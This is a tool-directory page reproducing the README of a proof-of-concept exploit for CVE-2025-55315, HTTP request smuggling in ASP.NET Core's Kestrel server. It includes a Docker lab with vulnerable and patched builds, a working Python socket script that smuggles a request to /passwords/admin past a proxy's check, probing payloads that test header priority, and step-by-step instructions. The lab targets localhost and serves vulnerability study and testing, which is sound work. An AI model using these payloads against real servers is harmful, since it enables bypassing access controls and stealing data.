Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-55315 β€” Proof-of-concept exploit for CVE-2025-55315 (.NET HTTP Request Smuggling). Demonstrates how improperly parsed chunked encoding lets attackers smuggle requests past proxies and load balancers in vulnerable ASP.NET Core/Kestrel servers. | Kitploit
Tools/GitHubGitHub/martinfabianionut/cve-2025-55315
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubmartinfabianionut/cve-2025-55315

CVE-2025-55315

Proof-of-concept exploit for CVE-2025-55315 (.NET HTTP Request Smuggling). Demonstrates how improperly parsed chunked encoding lets attackers smuggle requests past proxies and load balancers in vulnerable ASP.NET Core/Kestrel servers.

View Repository
1410 months agoNot yet reviewed

Most Popular

View all β†’

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools β†’
Share

CVE-2025-55315

Proof-of-concept exploit for CVE-2025-55315 (.NET HTTP Request Smuggling). Demonstrates how improperly parsed chunked encoding lets attackers smuggle requests past proxies and load balancers in vulnerable ASP.NET Core/Kestrel servers.

πŸ“Š Presentation

View Interactive Prezi Presentation

Prezi Presentation

πŸŽ₯ Click the badge above to view the full interactive presentation on Prezi

Project Structure

  • Api - Consolidated ASP.NET Core API with two Dockerfiles:
    • Dockerfile.vulnerable - Uses .NET 10.0.100-rc.1 (vulnerable to CVE-2025-55315)
    • Dockerfile.patched - Uses .NET 10.0.100 (patched version)
  • PythonProxy - Vulnerable proxy used for CVE-2025-55315 exploit demonstration (favors Content-Length over Transfer-Encoding)
  • YarpProxy - YARP reverse proxy for testing load balancing (not part of the exploit)

Note: The vulnerability is in the .NET runtime's HTTP parser (Kestrel), not in the application code. Both versions use identical source code but different .NET runtime versions.

Quick Start

# Build and run all services
docker-compose up --build

# Access the services
# Unsafe API: http://localhost:5001
# Safe API: http://localhost:5002
# Python Proxy (exploit): http://localhost:5027
# YARP Proxy (load balancing): http://localhost:5028

See DOCKER.md for detailed Docker usage instructions.

Exploit Demonstration

The Python proxy demonstrates CVE-2025-55315 by favoring Content-Length over Transfer-Encoding, enabling HTTP request smuggling:

payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5027\r\n"
    "Transfer-Encoding: chunked\r\n"
    "\r\n"
    "2;\n"
    "xx\r\n"
    "39\r\n"
    "0\r\n"
    "\r\n"
    "GET /passwords/admin HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "\r\n"
    "0\r\n"
    "\r\n"
)

import socket
import time

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5027))
    s.sendall(payload.encode())
    
    # Read all available data
    s.settimeout(2.0)
    responses = b''
    try:
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            responses += chunk
    except socket.timeout:
        pass
    
    print("=== Complete Response ===")
    print(responses.decode('utf-8', errors='ignore'))
    print("\n=== Checking for smuggled request response ===")
    if b'/passwords/admin' in responses or b'admin' in responses:
        print("βœ“ Successfully smuggled request to /passwords/admin!")
    else:
        print("βœ— Exploit failed or blocked")

This payload smuggles a second request to /passwords/admin past the proxy's security check, exploiting the discrepancy in how the proxy and backend server parse the request.

Visual Request Interpretation

Here's how the proxy and backend server interpret the same payload differently:

PROXY INTERPRETATION (Accepts \n as valid line ending):

flowchart TD
    subgraph Proxy_Request_1 ["πŸ”΄ Request 1 - Proxy View"]
        PH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
        PCH1["<b>2;\n</b><br/><i>chunk header (accepts \n)</i>"]
        PCB1["<b>xx</b><br/><i>chunk body - 2 bytes</i>"]
        PCH2["<b>39</b><br/><i>chunk header</i>"]
        PCB2["<i>chunk body - 57 bytes</i><br/>(contains smuggled request)"]
        PLK["<b>0</b><br/><i>last chunk</i>"]
    end
    
    subgraph Proxy_Ignored ["⚫ Ignored by Proxy"]
        PIG["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/>0<br/>(Proxy thinks this is part of chunk body)"]
    end

    PH1 --> PCH1 --> PCB1 --> PCH2 --> PCB2 --> PLK
    PLK -.-> PIG

BACKEND INTERPRETATION (Rejects \n, requires \r\n):

flowchart TD
    subgraph Backend_Request_1 ["🟒 Request 1 - Backend View"]
        BH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/><b>2;\n</b> (invalid - part of headers)<br/><b>xx</b> (headers end here)"]
        BCB1["<b>39</b><br/><i>chunk body</i>"]
        BLK1["<b>0</b><br/><i>last chunk</i>"]
    end
    
    subgraph Backend_Request_2 ["🟒 Request 2 - Backend View"]
        BH2["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
        BLK2["<b>0</b><br/><i>last chunk</i>"]
    end

    BH1 --> BCB1 --> BLK1
    BLK1 --> BH2 --> BLK2
    
    style Backend_Request_2 fill:#ff6b6b,stroke:#c92a2a,stroke-width:3px

Key Differences:

ComponentChunk Size 2;\nBytes ReadWhat Happens
Proxyβœ… Valid chunk size2 bytes (xx)Treats 2;\n as complete chunk header, reads 2 bytes, continues to next chunk
Backend❌ Invalid line endingStill reads as 2 byte chunkChunk header doesn't end until xx\r\n, so 39 becomes the chunk body, 0 ends the chunk

Detailed Explanation:

  • Proxy: Accepts 2;\n as a valid chunk size declaration (2 bytes) β†’ Reads xx as the 2-byte chunk body β†’ Moves to next chunk (39)
  • Backend: Rejects \n as line ending β†’ Chunk size is still 2 but header extends through 2;\nxx\r\n β†’ Reads 39 as part of the chunk body β†’ 0\r\n terminates the chunk
  • Result: The smuggled GET /passwords/admin request is hidden in what the backend treats as chunk data, but gets parsed as a separate request after chunk processing completes

The smuggled GET /passwords/admin request is hidden in what the proxy thinks is chunk body data, but the backend parses it as a separate HTTP request.

Identifying the Vulnerability

Before exploiting, you need to identify which HTTP header (Content-Length or Transfer-Encoding) different components favor. Here's a step-by-step guide:

Step 1: Test Header Priority

Send a request with both Content-Length and Transfer-Encoding: chunked headers to see which one each component respects:

POST /passwords HTTP/1.1\r\n
Host: localhost:5001\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n

Analysis:

  • If the server processes "Fa" (2 bytes) β†’ It favors Content-Length
  • If the server processes "Fabian" (full chunked body) β†’ It favors Transfer-Encoding

Step 2: Test Each Component

Test all components in your architecture to find discrepancies:

Test Unsafe API (Port 5001)

# Using Python
import socket

test_payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "Transfer-Encoding: chunked\r\n"
    "Content-Length: 2\r\n"
    "\r\n"
    "6\r\n"
    "Fabian\r\n"
    "0\r\n"
    "\r\n"
)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5001))
    s.sendall(test_payload.encode())
    s.settimeout(1.0)
    try:
        response = s.recv(4096)
        print("Unsafe API Response:", response.decode('utf-8', errors='ignore'))
    except socket.timeout:
        pass

Test Safe API (Port 5002)

# Change port to 5002 and test
# Safe API should handle the conflict properly

Test Python Proxy (Port 5027)

# Change port to 5027
# Python proxy favors Content-Length (vulnerable)

Test YARP Proxy (Port 5028)

# Change port to 5028
# Test how YARP handles the header conflict

Step 3: Use Burp Suite for Manual Testing

  1. Intercept Request: Capture a normal POST request to /passwords
  2. Modify Headers: Add both headers manually:
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
Download Tool